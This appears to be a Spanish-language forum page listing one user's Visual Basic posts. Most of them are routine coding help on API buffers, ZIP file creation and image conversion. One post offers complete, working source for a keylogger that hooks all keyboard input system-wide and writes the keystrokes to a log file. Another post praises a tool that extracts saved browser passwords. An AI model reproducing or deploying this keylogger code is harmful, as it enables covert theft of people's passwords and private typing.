Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - LeandroA

#331
Programación Visual Basic / Re: ayuda con APIs
19 Agosto 2009, 20:41 PM
Hola cuando trabajas con apis y estas modifican un parametro de tipo String o Bits tenes que redimencionar para crear un buffer donde estas apis volcaran la informaición.

en el ejemplo que pusite hay una cosa mal te explico

volumen = String$(255, Chr$(0))

esto crea un buffer con un tamaño de  255 con todos Bits nulos

y despues al final utiliza la funcion

Label1.Caption = Trim(volumen)

Trim es solo para los espacios por lo que en este caso tu usaste Bits nulos  entonces no lo eliminara el exedente.

ahora si ubieras puesto


volumen = String$(255, Space(1))

y luego

Label1.Caption = Trim(volumen)

entoses si porque estaria quitando los ultimos espacios, pero esto puede traer una complejidad ya que suponte que  volumen termina con espacios estos se estarian perdiendo entonces es mejor utilizar bits nulos

y para quitar los bits nulos se utiliza  esta forma

volumen= Left$(volumen, InStr(1, volumen, Chr$(0)) - 1)

osea la izquierda hasta donde se encuentre el primer bits nulo


seguramente con la explicación que te di no querras ver mas una api  ;D

Saludos



#332
Hola ya que viene la racha con los Keylogger, pongo otro método, ayer mirando el tuto de Karcrack supuse que tendría que haber otra forma de transladar las teclas, así que se me dió por pasarles los msg del hook a una ventana de tipo EDIT (WM_IME_KEYDOWN), y el resultado fue bastante bueno, inclusive toma las @ y símbolos especiales, excepto los acentos porque si se los dejaba no los agrega a la ventana donde escribía.

Seria bueno que si alguien tiene un teclado inglés lo pruebe a ver si funciona todo bien.

Código (vb) [Seleccionar]

Option Explicit
'------------------------------------
'Autor:   Leandro Ascierto
'Web:     www.leandroascierto.com.ar
'Fecha:   18-08-09
'En base a tutorial de Karcrack
'------------------------------------
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long

Private Const ES_MULTILINE              As Long = &H4&
Private Const ES_AUTOVSCROLL            As Long = &H40&
Private Const ES_AUTOHSCROLL            As Long = &H80&

Private Const WM_IME_KEYDOWN            As Long = &H290
Private Const WM_SYSKEYDOWN             As Long = &H104
Private Const WM_KEYDOWN                As Long = &H100
Private Const WM_KEYUP                  As Long = &H101
Private Const WH_KEYBOARD_LL            As Long = 13

Private Const BUFFER_TO_SAVE            As Long = 100

Private hEdit                           As Long
Private KBHook                          As Long
Private sTextData                       As String
Private TextLen                         As Long


Public Sub ManageKeylogger(ByVal Enable As Boolean)
    Select Case Enable
        Case True
            hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)
            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
            Debug.Print hEdit
        Case False
            Call UnhookWindowsHookEx(KBHook)
            TextLen = GetWindowTextLength(hEdit)
            If TextLen Then LogToFile App.Path & "\Log.txt"
            DestroyWindow hEdit
    End Select
End Sub


Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long

    Select Case wParam
   
        Case WM_KEYDOWN
            If lParam <> 222 And lParam <> 186 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If
       
        Case WM_KEYUP
            TextLen = GetWindowTextLength(hEdit)
            If TextLen > BUFFER_TO_SAVE Then
                LogToFile App.Path & "\Log.txt"
            End If
       
        Case WM_SYSKEYDOWN
            Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
           
    End Select

End Function


Private Sub LogToFile(ByVal sPath As String)

    sTextData = String(TextLen + 1, Chr$(0))
    GetWindowText hEdit, sTextData, TextLen + 1
    SetWindowText hEdit, vbNullString

    Open sPath For Append As #1
        Print #1, sTextData
    Close #1
   
End Sub



Saludos.


#333
me parece que si se esta vajo una LAN se utiliza la funcion Bind, el cliente conecta al servidor que este en escucha dentro del mismo puerto, dentro de la red, puede ser?

Saludos
#334
hola provaste con este "C:\windows\system32\shdocvw.dll" yo tengo IE7 y ese es el que me carga cuando abro el proyecto.

Saludos
#335
jeje recien me acabo de dar cuenta que solo lo pone dentro de una carpeta.zip pero no reduce su tamaño.  >:(
#336
Hola estuve mirando el codigo de XcryptOR por lo que vi tiene unos problemas con los ByVal por ese motivo hay que compilarlo en p-code

les quite el byval en algunos WriteFile y CopyMemory y ahora no hace falta compilarlo en p-code


Código (vb) [Seleccionar]
Option Explicit
Private Declare Function CreateFile Lib "Kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function ReadFile Lib "Kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Long) As Long
Private Declare Function WriteFile Lib "Kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "Kernel32" (ByVal hObject As Long) As Long
Private Declare Function GlobalAlloc Lib "Kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "Kernel32" (ByVal hMem As Long) As Long
Private Declare Function GetFileSize Lib "Kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Sub ZeroMemory Lib "Kernel32" Alias "RtlZeroMemory" (dest As Any, ByVal numbytes As Long)
Private Declare Function SetFilePointer Lib "Kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Declare Sub GetSystemTime Lib "Kernel32" (lpSystemTime As SYSTEMTIME)
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private Const FILE_BEGIN = 0
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const FILE_SHARE_READ = &H1
Private Const CREATE_ALWAYS = 2
Private Const OPEN_EXISTING = 3
Private Const INVALID_HANDLE_VALUE = -1
Private Const GMEM_FIXED = &H0
Private Const GMEM_ZEROINIT = &H40
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type LOCAL_FILE_HEADER
Signature As Long          'Firma &H04034b50
ver_needed As Integer      'Version minima de software necesaria para extraer el archivo
Flags As Integer           'Opciones
method As Integer          'Metodo de compresion
lastmod_time As Integer    'Tiempo de ultima modificacion
lastmod_date As Integer    'Fecha de ultima modificacion
crcLO As Integer                'CRC del file
crcHI As Integer
compressed_sizeLO As Integer    'Tamaño de file comprimido
compressed_sizeHI As Integer
uncompressed_sizeLO As Integer  'Tamaño del file sin comprimir
uncompressed_sizeHI As Integer
filename_length As Integer 'Longitud del nombre del Archivo
extra_length As Integer    'Longitud de "InFormacion Adicional" ¿?
End Type

Private Type CENTRAL_DIRECTORY_STRUCTURE
Signature As Long          'FIRMA &H02014b50
made_by As Integer         'Indica SO y version de software donde se comprimio el file
ver_needed As Integer      'Version minima de software necesaria para extraer el archivo
Flags As Integer           'Opciones
method As Integer          'Metodo de compresion
lastmod_time As Integer    'Tiempo de ultima modificacion
lastmod_date As Integer    'Fecha de ultima modificacion
crc As Long                'CRC del file
compressed_size As Long    'Tamaño de file comprimido
uncompressed_size As Long  'Tamaño del file sin comprimir
filename_length As Integer 'Longitud del nombre del Archivo
extra_length As Integer    'Longitud de "InFormacion Adicional" ¿?
comment_length As Integer  'Longitud de los comentarios
disk_nums As Integer       'El número del disco por el cual este archivo comienza ¿?
internal_attr As Integer   'Opciones entre ellas: Si el file tiene datos ASCII(texto) o Binarios
external_attrLO As Integer 'Opciones entre ellas: Tipo de Sistema de Archivos
external_attrHI As Integer '
local_offs As Long         'N° de Byte donde comienza el correspondiente
                           'LOCAL_FILE_HEADER de esta struct CENTRAL_DIRECTORY_STRUCTURE
End Type

Private Type END_CENTRAL_DIR
Signature As Long           'FIrma &H06054b50
disk_nums As Integer        '"El número de este disco, que contiene el expediente de extremo central del directorio" ¿?
disk_dirstart As Integer    '"El número del disco en el cual el directorio central comienza" ¿?
disk_dir_entries As Integer 'El número de entradas en el central directory en este disco
dir_entries As Integer      'El número total de archivos en el zipfile
dir_size As Long            'El tamaño (en bytes) de la o las CENTRAL_DIRECTORY_STRUCTURE que contenga el zip
dir_offs As Long            'N° de Byte donde comienza la CENTRAL_DIRECTORY_STRUCTURE o la primera CENTRAL_DIRECTORY_STRUCTURE
                            'si es que hay más de una
comment_length As Integer   'Longitud de los Comentarios
End Type

Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type

Private Type HL_DWORD
LoWord As Integer
HiWord As Integer
End Type

Private CRCTable(256) As Long

Private Sub SetCRCTable()
'Code CRC32 de www.vbaccelerator.com
On Error Resume Next
Dim dwPolynomial As Long, dwCrc As Long, I As Integer, j As Integer
dwPolynomial = &HEDB88320

For I = 0 To 255
 dwCrc = I
 For j = 8 To 1 Step -1
  If (dwCrc And 1) Then
  dwCrc = ((dwCrc And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
  dwCrc = dwCrc Xor dwPolynomial
  Else
  dwCrc = ((dwCrc And &HFFFFFFFE) \ 2&) And &H7FFFFFFF
  End If
 Next
 CRCTable(I) = dwCrc
Next
End Sub

Private Function GetCRC32(Buffer As String) As Long
'Code CRC32 de www.vbaccelerator.com
On Error Resume Next
Dim crc As Long, I As Long, iLookup As Integer

crc = &HFFFFFFFF

For I = 1 To Len(Buffer)
iLookup = (crc And &HFF) Xor Asc(Mid(Buffer, I, 1))
crc = ((crc And &HFFFFFF00) \ &H100) And 16777215
crc = crc Xor CRCTable(iLookup)
Next

GetCRC32 = Not (crc)
End Function

Public Function Zipea(ffile As String, fzip As String, fname As String) As Boolean
On Error Resume Next
Dim lfh As LOCAL_FILE_HEADER
Dim cds As CENTRAL_DIRECTORY_STRUCTURE
Dim ecd As END_CENTRAL_DIR
Dim st As SYSTEMTIME
Dim File As String, FPtr As Long
Dim sz As Long, Dw As Long, o As Long
Dim hFile As Long, hZip As Long
Dim HL As HL_DWORD
Dim CRC32 As Long

o = 0

hFile = CreateFile(ffile, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, OPEN_EXISTING, 0, 0)
If (hFile = INVALID_HANDLE_VALUE) Then Zipea = False: Exit Function

hZip = CreateFile(fzip, GENERIC_WRITE, FILE_SHARE_READ, ByVal 0&, CREATE_ALWAYS, 0, 0)
If (hZip = INVALID_HANDLE_VALUE) Then CloseHandle (hFile): Zipea = False: Exit Function

ZeroMemory ByVal lfh, Len(lfh)
ZeroMemory ByVal cds, Len(cds)
ZeroMemory ByVal ecd, Len(ecd)

Call GetSystemTime(st)
If (st.wHour > 12) Then st.wHour = st.wHour - 12

sz = GetFileSize(hFile, 0)

lfh.Signature = &H4034B50
lfh.ver_needed = 10
lfh.Flags = 0
lfh.method = 0
lfh.lastmod_time = (st.wHour) * (2 ^ 11) Or (st.wMinute * (2 ^ 5)) Or (st.wSecond / 2)
lfh.lastmod_date = ((st.wYear - 1980) * (2 ^ 9)) Or (st.wMonth * (2 ^ 5)) Or (st.wDay)

CopyMemory HL, sz, 4

lfh.uncompressed_sizeHI = HL.HiWord And &HFFFF
lfh.uncompressed_sizeLO = HL.LoWord And &HFFFF
lfh.compressed_sizeHI = HL.HiWord And &HFFFF
lfh.compressed_sizeLO = HL.LoWord And &HFFFF
lfh.filename_length = Len(fname)
lfh.extra_length = 0

cds.Signature = &H2014B50
cds.made_by = 20           'MSDOS=0, PKZIP 2.0 =20
cds.ver_needed = 10
cds.Flags = 0
cds.method = 0
cds.lastmod_time = (st.wHour) * (2 ^ 11) Or (st.wMinute * (2 ^ 5)) Or (st.wSecond / 2)
cds.lastmod_date = ((st.wYear - 1980) * (2 ^ 9)) Or (st.wMonth * (2 ^ 5)) Or (st.wDay)
cds.compressed_size = sz
cds.uncompressed_size = sz
cds.filename_length = Len(fname)
cds.extra_length = 0
cds.comment_length = 0
cds.disk_nums = 0
cds.local_offs = 0
cds.internal_attr = 0      'Datos Binarios
cds.external_attrLO = &H20 'FAT_32 (&H20=32)
cds.external_attrHI = &H0


Call SetFilePointer(hFile, 0, 0, FILE_BEGIN)
FPtr = GlobalAlloc(GPTR, sz)
If (FPtr = 0) Then Zipea = False: GoTo Cierra

 Call ReadFile(hFile, ByVal FPtr, sz, Dw, ByVal 0)
 If (Dw = 0) Then Zipea = False: GoTo Cierra

 File = Space$(Dw)
 CopyMemory ByVal File, ByVal FPtr, Dw

Call SetCRCTable

CRC32 = GetCRC32(File)

CopyMemory HL, CRC32, 4

lfh.crcLO = HL.LoWord And &HFFFF
lfh.crcHI = HL.HiWord And &HFFFF

cds.crc = CRC32

Call WriteFile(hZip, lfh, Len(lfh), Dw, ByVal 0&)
Call WriteFile(hZip, ByVal fname, Len(fname), Dw, ByVal 0&)
Call WriteFile(hZip, ByVal File, sz, Dw, ByVal 0&)

GlobalFree (FPtr)
o = o + (Len(lfh) + Len(fname) + sz)

ecd.dir_offs = o

Call WriteFile(hZip, cds, Len(cds), Dw, ByVal 0&)
Call WriteFile(hZip, ByVal fname, Len(fname), Dw, ByVal 0&)
o = o + (Len(cds) + Len(fname))

ecd.Signature = &H6054B50
ecd.disk_nums = 0
ecd.disk_dirstart = 0
ecd.disk_dir_entries = 1
ecd.dir_entries = 1
ecd.dir_size = o - ecd.dir_offs
ecd.comment_length = 0
Call WriteFile(hZip, ecd, Len(ecd), Dw, ByVal 0&)

Zipea = True
Cierra:
CloseHandle (hFile): CloseHandle (hZip)
End Function



Private Sub Form_Load()
If Zipea("C:\SearchDesckTop.exe", "C:\nombrefile.zip", "SearchDesckTop.exe") = True Then MsgBox "Compresion de Archivo Exitosa" Else Beep
End Sub


Saludos

#337
hola la verdad no conosia ese codigo le voy a echar un vistaso,

te pongo tres metodos mas pero bue...

1 - utilizando zip32dll (recomendable)


2 - utilizando el objeto Shell.Application  (windows xp y superiores(creo))


Option Explicit
Private Sub Form_Load()
    Comprimir "C:\CarpetaComprimida.zip", "C:\Archivo.exe"
End Sub


Private Function Comprimir(DestPath As Variant, SrcPath As Variant) As Boolean
    On Error GoTo Fail
   
    Dim oShell As Object
   
    Set oShell = CreateObject("Shell.Application")
   
    If Dir(DestPath) = "" Then
        Open DestPath For Binary As #1
            Put #1, , CStr("PK" & Chr(5) & Chr(6) & String(18, Chr(0)))
        Close
    End If
   
   
    oShell.NameSpace(DestPath).CopyHere SrcPath
    Comprimir = True
Fail:

End Function


3 - utilizando lineas de comando sobre los compresores WinZip y WinRar (te daras cuenta sobre las desventajas de esto)
#338
Cita de: rembolso en  3 Agosto 2009, 20:03 PM
mesague de q . winsock . o del programa comun

El lo que busca son otros tipos de mensaje, por lo que tengo entendido la única forma de subclasificar una ventana ajena a tu aplicación es mediante alguna dll que haga esto.
yo actualmente estoy utilizando  dscwpmsg.dll, en el link tenes la dll + un ejemplo de cómo se utiliza.

Ya que esta el tema abierto alguien más conoce otra dll de este tipo?
#339
muy bueno cobein, hice un par de pruebas y anda bien, el unico caso que no me mostro la contraseña es en esta pagina me puso todos asteriscos

URL:http://foro.elhacker.net/login.html
USER:LeandroA
PASS:********


hay que tener en cuenta que no debe estar abierto el crome, y que el navegador debe pedirte recordar la contraseña.

en mi caso no dio ningun Crash

muy bueno el modulo Sqlite
#340
aver... creo que aqui hay un error de interpretacion... ;D

generalmente todos buscan pasar de bmp a jpg, pero segun dice el titulo el lo que quiere es de jpg a bmp, y quizas como es nuevo no sabe lo facil que seria...

pregunto pedraosone  vose queres pasar de JPG a BMP???, si es asi es tan facil como esto.

SavePicture LoadPicture("C:\Foto.JPG"), "C:\Foto.BMP"


Saludos